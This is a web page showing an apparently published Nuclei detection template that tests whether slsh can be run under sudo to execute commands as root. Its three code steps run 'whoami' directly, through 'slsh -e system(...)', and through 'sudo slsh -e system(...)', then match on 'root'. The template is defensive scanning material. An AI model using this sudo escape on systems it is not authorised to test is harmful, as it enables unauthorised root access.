privesc-slsh: slsh - Privilege Escalation

2025-08-01 slsh PoC Public

Description

slsh is a command-line shell that is designed to provide a secure environment for executing shell commands. It is often used in scenarios where security and privilege separation are important, such as in web hosting environments or when running untrusted code. slsh aims to provide a secure and restricted shell environment for executing commands.

PoC

id: privesc-slsh

info:
  name: slsh - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    slsh is a command-line shell that is designed to provide a secure environment for executing shell commands. It is often used in scenarios where security and privilege separation are important, such as in web hosting environments or when running untrusted code. slsh aims to provide a secure and restricted shell environment for executing commands.
  reference:
    - https://gtfobins.github.io/gtfobins/slsh/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,slsh,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      slsh -e 'system("whoami")'

  - engine:
      - sh
      - bash
    source: |
      sudo slsh -e 'system("whoami")'

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 4b0a00483046022100e9353f8b0fad79f74ae7745597c14bfb189c835d6e6e03119acf847a20941ccb022100b7db14742498e532740c5999723faf78360626273dba735f217b5a956ccf23b0:922c64590222798bb761d5b6d8e72950

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